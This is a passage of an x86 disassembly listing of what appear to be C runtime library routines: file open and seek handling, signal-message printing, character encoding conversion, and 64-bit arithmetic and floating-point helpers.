test ebx, 8000h
jnz short loc_40B9EE
test ebx, 4000h
jz short loc_40B9EE
or [ebp+var_1], 80h
loc_40B9EE: ; CODE XREF: sub_40B9A0+40j
; sub_40B9A0+48j
mov edi, ebx
and edi, 3
jz short loc_40BA01
cmp edi, 1
jz short loc_40BA0A
cmp edi, 2
jz short loc_40BA13
jmp short loc_40BA1C
; ---------------------------------------------------------------------------
loc_40BA01: ; CODE XREF: sub_40B9A0+53j
mov [ebp+var_20], 80000000h
jmp short loc_40BA2F
; ---------------------------------------------------------------------------
loc_40BA0A: ; CODE XREF: sub_40B9A0+58j
mov [ebp+var_20], 40000000h
jmp short loc_40BA2F
; ---------------------------------------------------------------------------
loc_40BA13: ; CODE XREF: sub_40B9A0+5Dj
mov [ebp+var_20], 0C0000000h
jmp short loc_40BA2F
; ---------------------------------------------------------------------------
loc_40BA1C: ; CODE XREF: sub_40B9A0+5Fj
call sub_408460
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_40BD79
; ---------------------------------------------------------------------------
loc_40BA2F: ; CODE XREF: sub_40B9A0+68j
; sub_40B9A0+71j ...
mov eax, [ebp+arg_8]
cmp eax, 20h
jz short loc_40BA5C
jg short loc_40BA41
cmp [ebp+arg_8], 10h
jz short loc_40BA53
jmp short loc_40BA77
; ---------------------------------------------------------------------------
loc_40BA41: ; CODE XREF: sub_40B9A0+97j
mov eax, [ebp+arg_8]
cmp eax, 30h
jz short loc_40BA65
jl short loc_40BA77
cmp [ebp+arg_8], 40h
jz short loc_40BA6E
jmp short loc_40BA77
; ---------------------------------------------------------------------------
loc_40BA53: ; CODE XREF: sub_40B9A0+9Dj
mov [ebp+var_28], 0
jmp short loc_40BA8A
; ---------------------------------------------------------------------------
loc_40BA5C: ; CODE XREF: sub_40B9A0+95j
mov [ebp+var_28], 1
jmp short loc_40BA8A
; ---------------------------------------------------------------------------
loc_40BA65: ; CODE XREF: sub_40B9A0+A7j
mov [ebp+var_28], 2
jmp short loc_40BA8A
; ---------------------------------------------------------------------------
loc_40BA6E: ; CODE XREF: sub_40B9A0+AFj
mov [ebp+var_28], 3
jmp short loc_40BA8A
; ---------------------------------------------------------------------------
loc_40BA77: ; CODE XREF: sub_40B9A0+9Fj
; sub_40B9A0+A9j ...
call sub_408460
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_40BD79
; ---------------------------------------------------------------------------
loc_40BA8A: ; CODE XREF: sub_40B9A0+BAj
; sub_40B9A0+C3j ...
mov eax, ebx
and eax, 700h
mov [ebp+var_3C], eax
cmp eax, 300h
jz short loc_40BB0E
jg short loc_40BABC
mov eax, [ebp+var_3C]
cmp eax, 100h
jz short loc_40BAF3
jg short loc_40BAB1
cmp [ebp+var_3C], 0
jz short loc_40BAEA
jmp short loc_40BB17
; ---------------------------------------------------------------------------
loc_40BAB1: ; CODE XREF: sub_40B9A0+107j
cmp [ebp+var_3C], 200h
jz short loc_40BB05
jmp short loc_40BB17
; ---------------------------------------------------------------------------
loc_40BABC: ; CODE XREF: sub_40B9A0+FBj
mov eax, [ebp+var_3C]
cmp eax, 500h
jz short loc_40BAFC
jg short loc_40BAD3
cmp [ebp+var_3C], 400h
jz short loc_40BAEA
jmp short loc_40BB17
; ---------------------------------------------------------------------------
loc_40BAD3: ; CODE XREF: sub_40B9A0+126j
mov eax, [ebp+var_3C]
cmp eax, 600h
jz short loc_40BB05
jl short loc_40BB17
cmp [ebp+var_3C], 700h
jz short loc_40BAFC
jmp short loc_40BB17
; ---------------------------------------------------------------------------
loc_40BAEA: ; CODE XREF: sub_40B9A0+10Dj
; sub_40B9A0+12Fj
mov [ebp+var_24], 3
jmp short loc_40BB2A
; ---------------------------------------------------------------------------
loc_40BAF3: ; CODE XREF: sub_40B9A0+105j
mov [ebp+var_24], 4
jmp short loc_40BB2A
; ---------------------------------------------------------------------------
loc_40BAFC: ; CODE XREF: sub_40B9A0+124j
; sub_40B9A0+146j
mov [ebp+var_24], 1
jmp short loc_40BB2A
; ---------------------------------------------------------------------------
loc_40BB05: ; CODE XREF: sub_40B9A0+118j
; sub_40B9A0+13Bj
mov [ebp+var_24], 5
jmp short loc_40BB2A
; ---------------------------------------------------------------------------
loc_40BB0E: ; CODE XREF: sub_40B9A0+F9j
mov [ebp+var_24], 2
jmp short loc_40BB2A
; ---------------------------------------------------------------------------
loc_40BB17: ; CODE XREF: sub_40B9A0+10Fj
; sub_40B9A0+11Aj ...
call sub_408460
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_40BD79
; ---------------------------------------------------------------------------
loc_40BB2A: ; CODE XREF: sub_40B9A0+151j
; sub_40B9A0+15Aj ...
mov [ebp+var_14], 80h
test ebx, 100h
jz short loc_40BB58
lea eax, [ebp+arg_C]
mov [ebp+var_2C], eax
add eax, 4
mov [ebp+var_2C], eax
mov eax, [eax-4]
mov [ebp+var_30], eax
test byte ptr [ebp+var_30], 80h
jnz short loc_40BB58
mov [ebp+var_14], 1
loc_40BB58: ; CODE XREF: sub_40B9A0+197j
; sub_40B9A0+1AFj
test ebx, 40h
jz short loc_40BB6E
or [ebp+var_14], 4000000h
or [ebp+var_20], 10000h
loc_40BB6E: ; CODE XREF: sub_40B9A0+1BEj
test ebx, 1000h
jz short loc_40BB7D
or [ebp+var_14], 100h
loc_40BB7D: ; CODE XREF: sub_40B9A0+1D4j
test ebx, 20h
jz short loc_40BB8E
or [ebp+var_14], 8000000h
jmp short loc_40BB9D
; ---------------------------------------------------------------------------
loc_40BB8E: ; CODE XREF: sub_40B9A0+1E3j
test ebx, 10h
jz short loc_40BB9D
or [ebp+var_14], 10000000h
loc_40BB9D: ; CODE XREF: sub_40B9A0+1ECj
; sub_40B9A0+1F4j
call sub_40A990
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_40BBBC
call sub_408460
mov dword ptr [eax], 18h
or eax, 0FFFFFFFFh
jmp loc_40BD79
; ---------------------------------------------------------------------------
loc_40BBBC: ; CODE XREF: sub_40B9A0+207j
push 0
mov eax, [ebp+var_14]
push eax
mov eax, [ebp+var_24]
push eax
lea eax, [ebp+var_10]
push eax
mov eax, [ebp+var_28]
push eax
mov eax, [ebp+var_20]
push eax
mov eax, [ebp+arg_0]
push eax
call dword_411DD0
mov [ebp+var_18], eax
cmp eax, 0FFFFFFFFh
jnz short loc_40BC02
call dword_411CE8
push eax
call sub_408300
pop ecx
push esi
call sub_40ADA0
pop ecx
or eax, 0FFFFFFFFh
jmp loc_40BD79
; ---------------------------------------------------------------------------
loc_40BC02: ; CODE XREF: sub_40B9A0+244j
mov eax, [ebp+var_18]
push eax
call dword_411DEC
mov [ebp+var_1C], eax
test eax, eax
jnz short loc_40BC39
mov eax, [ebp+var_18]
push eax
call dword_411CF8
call dword_411CE8
push eax
call sub_408300
pop ecx
push esi
call sub_40ADA0
pop ecx
or eax, 0FFFFFFFFh
jmp loc_40BD79
; ---------------------------------------------------------------------------
loc_40BC39: ; CODE XREF: sub_40B9A0+271j
cmp [ebp+var_1C], 2
jnz short loc_40BC45
or [ebp+var_1], 40h
jmp short loc_40BC4F
; ---------------------------------------------------------------------------
loc_40BC45: ; CODE XREF: sub_40B9A0+29Dj
cmp [ebp+var_1C], 3
jnz short loc_40BC4F
or [ebp+var_1], 8
loc_40BC4F: ; CODE XREF: sub_40B9A0+2A3j
; sub_40B9A0+2A9j
mov eax, [ebp+var_18]
push eax
push esi
call sub_40AB70
add esp, 8
or [ebp+var_1], 1
mov eax, esi
and eax, 1Fh
imul eax, 24h
mov edx, esi
sar edx, 5
mov edx, dword_413988[edx*4]
mov cl, [ebp+var_1]
mov [edx+eax+4], cl
movzx eax, [ebp+var_1]
test eax, 48h
jnz loc_40BD47
test eax, 80h
jz loc_40BD47
test ebx, 2
jz loc_40BD47
push 2
push 0FFFFFFFFh
push esi
call sub_40BEB0
add esp, 0Ch
mov [ebp+var_34], eax
cmp eax, 0FFFFFFFFh
jnz short loc_40BCDD
call dword_411CE8
cmp eax, 83h
jz loc_40BD47
push esi
call sub_408E40
pop ecx
push esi
call sub_40ADA0
pop ecx
or eax, 0FFFFFFFFh
jmp loc_40BD79
; ---------------------------------------------------------------------------
loc_40BCDD: ; CODE XREF: sub_40B9A0+314j
mov [ebp+var_35], 0
push 1
lea eax, [ebp+var_35]
push eax
push esi
call sub_40C950
add esp, 0Ch
test eax, eax
jnz short loc_40BD1F
cmp [ebp+var_35], 1Ah
jnz short loc_40BD1F
mov eax, [ebp+var_34]
push eax
push esi
call sub_40CD10
add esp, 8
cmp eax, 0FFFFFFFFh
jnz short loc_40BD1F
push esi
call sub_408E40
pop ecx
push esi
call sub_40ADA0
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_40BD79
; ---------------------------------------------------------------------------
loc_40BD1F: ; CODE XREF: sub_40B9A0+352j
; sub_40B9A0+358j ...
push 0
push 0
push esi
call sub_40BEB0
add esp, 0Ch
mov [ebp+var_34], eax
cmp eax, 0FFFFFFFFh
jnz short loc_40BD47
push esi
call sub_408E40
pop ecx
push esi
call sub_40ADA0
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_40BD79
; ---------------------------------------------------------------------------
loc_40BD47: ; CODE XREF: sub_40B9A0+2E4j
; sub_40B9A0+2EFj ...
test [ebp+var_1], 48h
jnz short loc_40BD70
test ebx, 8
jz short loc_40BD70
mov eax, esi
and eax, 1Fh
imul eax, 24h
mov edx, esi
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 20h
loc_40BD70: ; CODE XREF: sub_40B9A0+3ABj
; sub_40B9A0+3B3j
push esi
call sub_40ADA0
pop ecx
mov eax, esi
loc_40BD79: ; CODE XREF: sub_40B9A0+8Aj
; sub_40B9A0+E5j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40B9A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BD80 proc near ; CODE XREF: sub_40A710+2p
var_14 = dword ptr -14h
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push 1
mov eax, [ebp+arg_0]
push eax
call sub_40AE10
add esp, 8
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40BDA7
or eax, 0FFFFFFFFh
jmp loc_40BEA4
; ---------------------------------------------------------------------------
loc_40BDA7: ; CODE XREF: sub_40BD80+1Dj
cmp ebx, 1
jz loc_40BEA2
test ebx, ebx
jz short loc_40BDCE
push 0
mov eax, [ebp+arg_0]
push eax
call sub_40AE10
add esp, 8
mov eax, [ebp+arg_0]
push eax
call ebx
pop ecx
jmp loc_40BEA2
; ---------------------------------------------------------------------------
loc_40BDCE: ; CODE XREF: sub_40BD80+32j
mov eax, [ebp+arg_0]
cmp eax, 2
jl short loc_40BE23
cmp eax, 0Bh
jg short loc_40BDE2
jmp dword ptr byte_410120[eax*4]
; ---------------------------------------------------------------------------
loc_40BDE2: ; CODE XREF: sub_40BD80+59j
cmp [ebp+arg_0], 0Fh
jz short loc_40BE1A
jmp short loc_40BE23
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aAbort ; "abort"
jmp loc_40BE77
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aArithmeticErro ; "arithmetic error"
jmp short loc_40BE77
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aInvalidExecuta ; "invalid executable code"
jmp short loc_40BE77
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aInterruption ; "interruption"
jmp short loc_40BE77
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aInvalidStorage ; "invalid storage access"
jmp short loc_40BE77
; ---------------------------------------------------------------------------
loc_40BE1A: ; CODE XREF: sub_40BD80+66j
mov [ebp+var_4], offset aTerminationReq ; "termination request"
jmp short loc_40BE77
; ---------------------------------------------------------------------------
loc_40BE23: ; CODE XREF: sub_40BD80+54j
; sub_40BD80+68j
lea eax, [ebp+var_5]
mov [ebp+var_4], eax
mov [ebp+var_5], 0
loc_40BE2D: ; CODE XREF: sub_40BD80+E3j
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_14], eax
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
mov ecx, 0Ah
cdq
idiv ecx
lea eax, [edx+30h]
mov edx, [ebp+var_14]
mov [edx], al
mov eax, [ebp+arg_0]
push eax
mov edx, 66666667h
imul edx
pop eax
shr eax, 1Fh
sar edx, 2
add eax, edx
mov [ebp+arg_0], eax
test eax, eax
jnz short loc_40BE2D
push offset dword_411324
push offset aSignal ; "signal #"
call sub_40CEC0
add esp, 8
loc_40BE77: ; CODE XREF: sub_40BD80+71j
; sub_40BD80+7Dj ...
push offset dword_411324
mov eax, [ebp+var_4]
push eax
call sub_40CEC0
add esp, 8
push offset dword_411324
push offset aTerminating ; " -- terminating\n"
call sub_40CEC0
add esp, 8
push 1
call sub_407AA0
pop ecx
loc_40BEA2: ; CODE XREF: sub_40BD80+2Aj
; sub_40BD80+49j
xor eax, eax
loc_40BEA4: ; CODE XREF: sub_40BD80+22j
pop ebx
mov esp, ebp
pop ebp
retn
sub_40BD80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BEB0 proc near ; CODE XREF: sub_40A730+4Bp
; sub_40B9A0+306p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
push ebx
call sub_40AC20
pop ecx
mov edi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_40BED9
call sub_408460
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_40BF22
; ---------------------------------------------------------------------------
loc_40BED9: ; CODE XREF: sub_40BEB0+17j
mov eax, [ebp+arg_8]
push eax
push 0
mov eax, [ebp+arg_4]
push eax
push edi
call dword_411E14
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_40BF05
call dword_411CE8
push eax
call sub_408300
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_40BF22
; ---------------------------------------------------------------------------
loc_40BF05: ; CODE XREF: sub_40BEB0+41j
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
and byte ptr [eax], 0FDh
mov eax, esi
loc_40BF22: ; CODE XREF: sub_40BEB0+27j
; sub_40BEB0+53j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40BEB0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+8]
cmp ebx, dword_413A88
jnb short loc_40BF5B
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_40BF6B
loc_40BF5B: ; CODE XREF: DMN0:0040BF3Ej
call sub_408460
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_40BF8E
; ---------------------------------------------------------------------------
loc_40BF6B: ; CODE XREF: DMN0:0040BF59j
push ebx
call sub_40AD40
pop ecx
mov eax, [ebp+10h]
push eax
mov eax, [ebp+0Ch]
push eax
push ebx
call sub_40BEB0
add esp, 0Ch
mov esi, eax
push ebx
call sub_40ADA0
pop ecx
mov eax, esi
loc_40BF8E: ; CODE XREF: DMN0:0040BF69j
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFA0 proc near ; CODE XREF: sub_40AF70+9Bp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
cmp off_411924, 0
jnz loc_40C087
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
cmp [ebp+arg_0], 0
jnz short loc_40BFDB
mov eax, [ebp+arg_8]
mov ecx, dword_4101D4
mov ebx, dword_4101D8
mov [eax], ecx
mov [eax+4], ebx
xor eax, eax
jmp loc_40C1DD
; ---------------------------------------------------------------------------
loc_40BFDB: ; CODE XREF: sub_40BFA0+1Ej
test [ebp+arg_4], 0FF80h
jnz short loc_40BFFB
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
movzx edx, [ebp+arg_4]
mov [eax], dl
mov [ebp+var_4], 0
jmp short loc_40C074
; ---------------------------------------------------------------------------
loc_40BFFB: ; CODE XREF: sub_40BFA0+41j
test [ebp+arg_4], 0F800h
jnz short loc_40C024
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
movzx edx, [ebp+arg_4]
sar edx, 6
or edx, 0C0h
mov [eax], dl
mov [ebp+var_4], 1
jmp short loc_40C074
; ---------------------------------------------------------------------------
loc_40C024: ; CODE XREF: sub_40BFA0+61j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
movzx edx, [ebp+arg_4]
sar edx, 0Ch
and edx, 0Fh
or edx, 0E0h
mov [eax], dl
mov [ebp+var_4], 2
jmp short loc_40C074
; ---------------------------------------------------------------------------
loc_40C048: ; CODE XREF: sub_40BFA0+D8j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov edx, [ebp+var_4]
dec edx
mov [ebp+var_4], edx
movzx ecx, [ebp+arg_4]
mov [ebp+var_C], ecx
lea ecx, [edx+edx*2]
add ecx, ecx
mov edx, [ebp+var_C]
sar edx, cl
and edx, 3Fh
or edx, 80h
mov [eax], dl
loc_40C074: ; CODE XREF: sub_40BFA0+59j
; sub_40BFA0+82j ...
cmp [ebp+var_4], 0
jg short loc_40C048
mov eax, [ebp+var_8]
mov edx, [ebp+arg_0]
sub eax, edx
jmp loc_40C1DD
; ---------------------------------------------------------------------------
loc_40C087: ; CODE XREF: sub_40BFA0+Ej
mov eax, [ebp+arg_8]
movzx eax, word ptr [eax+6]
mov byte ptr [ebp+var_4+3], al
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov [ebp+var_8], 0
cmp [ebp+arg_0], 0
jnz short loc_40C0D2
mov eax, [ebp+arg_8]
mov ecx, dword_4101D4
mov ebx, dword_4101D8
mov [eax], ecx
mov [eax+4], ebx
mov eax, off_411924
movzx eax, word ptr [eax]
and eax, 0F00h
jmp loc_40C1DD
; ---------------------------------------------------------------------------
loc_40C0D2: ; CODE XREF: sub_40BFA0+10Aj
; sub_40BFA0+229j
mov al, byte ptr [ebp+var_4+3]
cmp al, 10h
jnb short loc_40C118
movzx eax, al
mov eax, off_411964[eax*4]
mov [ebp+var_18], eax
test eax, eax
jz short loc_40C118
movzx eax, byte_4118A0
cmp [ebp+var_8], eax
jge short loc_40C118
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
cmp eax, 0FF0h
jge short loc_40C118
movzx eax, byte ptr [ebp+arg_4]
mov edx, [ebp+var_18]
mov ax, [edx+eax*2]
mov [ebp+var_12], ax
test ax, ax
jnz short loc_40C12B
loc_40C118: ; CODE XREF: sub_40BFA0+137j
; sub_40BFA0+148j ...
call sub_408460
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_40C1DD
; ---------------------------------------------------------------------------
loc_40C12B: ; CODE XREF: sub_40BFA0+176j
movzx eax, [ebp+var_12]
mov edx, eax
and edx, 0F00h
sar edx, 8
mov byte ptr [ebp+var_4+3], dl
test eax, 8000h
jz short loc_40C157
movzx eax, [ebp+arg_4]
and eax, 0FFFFFF00h
movzx edx, byte ptr [ebp+var_12]
or eax, edx
mov [ebp+arg_4], ax
loc_40C157: ; CODE XREF: sub_40BFA0+1A2j
test [ebp+var_12], 1000h
jz short loc_40C179
movzx eax, [ebp+arg_4]
mov edx, eax
shl edx, 8
sar eax, 8
and eax, 0FFh
or edx, eax
mov ax, dx
mov [ebp+arg_4], ax
loc_40C179: ; CODE XREF: sub_40BFA0+1BDj
test [ebp+var_12], 2000h
jz short loc_40C1BD
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
test [ebp+var_12], 0FFh
jz short loc_40C19B
movzx edx, [ebp+var_12]
mov [ebp+var_1C], edx
jmp short loc_40C1A2
; ---------------------------------------------------------------------------
loc_40C19B: ; CODE XREF: sub_40BFA0+1F0j
movzx edx, [ebp+arg_4]
mov [ebp+var_1C], edx
loc_40C1A2: ; CODE XREF: sub_40BFA0+1F9j
mov edx, [ebp+var_1C]
mov ecx, [ebp+arg_0]
mov [ecx+eax], dl
test dl, dl
jnz short loc_40C1B6
mov [ebp+var_10], 1
loc_40C1B6: ; CODE XREF: sub_40BFA0+20Dj
mov [ebp+var_C], 0
loc_40C1BD: ; CODE XREF: sub_40BFA0+1DFj
test [ebp+var_12], 4000h
jnz short loc_40C1CF
cmp [ebp+var_10], 0
jz loc_40C0D2
loc_40C1CF: ; CODE XREF: sub_40BFA0+223j
mov edx, [ebp+arg_8]
movzx eax, byte ptr [ebp+var_4+3]
mov [edx+6], ax
mov eax, [ebp+var_8]
loc_40C1DD: ; CODE XREF: sub_40BFA0+36j
; sub_40BFA0+E2j ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_40BFA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C1F0 proc near ; CODE XREF: sub_40B0C0+CFp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_4]
or eax, eax
jnz short loc_40C211
mov ecx, [esp+4+arg_0]
mov eax, [esp+4+arg_C]
xor edx, edx
div ecx
mov eax, [esp+4+arg_8]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_40C261
; ---------------------------------------------------------------------------
loc_40C211: ; CODE XREF: sub_40C1F0+7j
mov ecx, eax
mov ebx, [esp+4+arg_0]
mov edx, [esp+4+arg_C]
mov eax, [esp+4+arg_8]
loc_40C21F: ; CODE XREF: sub_40C1F0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_40C21F
div ebx
mov ecx, eax
mul [esp+4+arg_4]
xchg eax, ecx
mul [esp+4+arg_0]
add edx, ecx
jb short loc_40C24A
cmp edx, [esp+4+arg_C]
ja short loc_40C24A
jb short loc_40C252
cmp eax, [esp+4+arg_8]
jbe short loc_40C252
loc_40C24A: ; CODE XREF: sub_40C1F0+4Aj
; sub_40C1F0+50j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
loc_40C252: ; CODE XREF: sub_40C1F0+52j
; sub_40C1F0+58j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
neg edx
neg eax
sbb edx, 0
loc_40C261: ; CODE XREF: sub_40C1F0+1Fj
pop ebx
retn 10h
sub_40C1F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C270 proc near ; CODE XREF: sub_40B0C0+116p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_40C291
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_40C291: ; CODE XREF: sub_40C270+Bj
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_40C2AD
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_40C2AD: ; CODE XREF: sub_40C270+27j
or eax, eax
jnz short loc_40C2C9
mov ecx, [esp+0Ch+arg_0]
mov eax, [esp+0Ch+arg_C]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_8]
div ecx
mov edx, ebx
jmp short loc_40C30A
; ---------------------------------------------------------------------------
loc_40C2C9: ; CODE XREF: sub_40C270+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_C]
mov eax, [esp+0Ch+arg_8]
loc_40C2D7: ; CODE XREF: sub_40C270+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_40C2D7
div ecx
mov esi, eax
mul [esp+0Ch+arg_4]
mov ecx, eax
mov eax, [esp+0Ch+arg_0]
mul esi
add edx, ecx
jb short loc_40C305
cmp edx, [esp+0Ch+arg_C]
ja short loc_40C305
jb short loc_40C306
cmp eax, [esp+0Ch+arg_8]
jbe short loc_40C306
loc_40C305: ; CODE XREF: sub_40C270+85j
; sub_40C270+8Bj
dec esi
loc_40C306: ; CODE XREF: sub_40C270+8Dj
; sub_40C270+93j
xor edx, edx
mov eax, esi
loc_40C30A: ; CODE XREF: sub_40C270+57j
dec edi
jnz short loc_40C314
neg edx
neg eax
sbb edx, 0
loc_40C314: ; CODE XREF: sub_40C270+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_40C270 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C320 proc near ; CODE XREF: sub_40B0C0+13Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
mov ecx, [esp+arg_4]
or ecx, eax
mov ecx, [esp+arg_0]
jnz short loc_40C339
mov eax, [esp+arg_8]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_40C339: ; CODE XREF: sub_40C320+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_8]
mul [esp+4+arg_4]
add ebx, eax
mov eax, [esp+4+arg_8]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_40C320 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C360 proc near ; CODE XREF: sub_40B300+5p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
movzx eax, word ptr [ecx+6]
and eax, 7FF0h
cmp eax, 7FF0h
jnz short loc_40C3A3
test word ptr [ecx+6], 0Fh
jnz short loc_40C390
cmp word ptr [ecx+4], 0
jnz short loc_40C390
cmp word ptr [ecx+2], 0
jnz short loc_40C390
cmp word ptr [ecx], 0
jz short loc_40C397
loc_40C390: ; CODE XREF: sub_40C360+1Aj
; sub_40C360+21j ...
mov edx, 2
jmp short loc_40C39C
; ---------------------------------------------------------------------------
loc_40C397: ; CODE XREF: sub_40C360+2Ej
mov edx, 1
loc_40C39C: ; CODE XREF: sub_40C360+35j
mov ax, dx
movsx eax, ax
retn
; ---------------------------------------------------------------------------
loc_40C3A3: ; CODE XREF: sub_40C360+12j
movzx eax, word ptr [ecx+6]
test eax, 0FFFF7FFFh
jnz short loc_40C3C2
cmp word ptr [ecx+4], 0
jnz short loc_40C3C2
cmp word ptr [ecx+2], 0
jnz short loc_40C3C2
cmp word ptr [ecx], 0
jz short loc_40C3C6
loc_40C3C2: ; CODE XREF: sub_40C360+4Cj
; sub_40C360+53j ...
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40C3C6: ; CODE XREF: sub_40C360+60j
xor eax, eax
retn
sub_40C360 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3D0 proc near ; CODE XREF: sub_40B310+5Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40CFB0
add esp, 8
movsx eax, ax
pop ebp
retn
sub_40C3D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3F0 proc near ; CODE XREF: sub_40B310+200p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40D050
add esp, 8
movsx eax, ax
pop ebp
retn
sub_40C3F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40C410 proc near ; CODE XREF: sub_40B310+20Bp
; sub_40B310+498p
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
sub esp, 0Ch
fstcw [esp+0Ch+var_2]
mov ax, [esp+0Ch+var_2]
or ah, 0Ch
mov [esp+0Ch+var_4], ax
fldcw [esp+0Ch+var_4]
fistp [esp+0Ch+var_C]
fldcw [esp+0Ch+var_2]
mov eax, dword ptr [esp+0Ch+var_C]
mov edx, dword ptr [esp+0Ch+var_C+4]
add esp, 0Ch
retn
sub_40C410 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C440 proc near ; CODE XREF: sub_40B310+4D6p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, ebx
mov ecx, esi
cdq
idiv ecx
mov [ebp+var_8], eax
mov edx, esi
imul edx, eax
mov eax, ebx
sub eax, edx
